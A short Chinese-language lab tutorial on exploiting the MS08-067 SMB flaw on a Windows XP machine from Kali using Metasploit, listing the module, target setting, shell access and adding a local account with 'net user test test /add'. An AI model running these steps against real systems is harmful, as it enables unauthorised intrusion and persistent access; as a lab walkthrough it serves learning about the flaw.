MS08-067 渗透
这个漏洞多出名不需要过多介绍了。直接开始渗透。
渗透准备
windows xp 以及kali (两者处于同一个网络中)
互相ping一下,确保可以ping通
道路铺设好以后,就可以开始准备开火了。
执行search ms08-067
执行use exploit/windows/smb/ms08_067_netapi命令。
执行show options命令
执行set RHOST 192.168.0.8命令,设置一个目标IP地址。
执行run命令。
显示成功以后,执行shell命令
然后就可以执行shell 里面的一些命令了。
比如:net user 命令 查看当前用户。
执行net user test test /add命令,添加一个用户。
执行net user命令,看到我们刚才添加的用户已经存在了。
创建的用户都已经存在了,后续就可以就可以进行扩大战果了。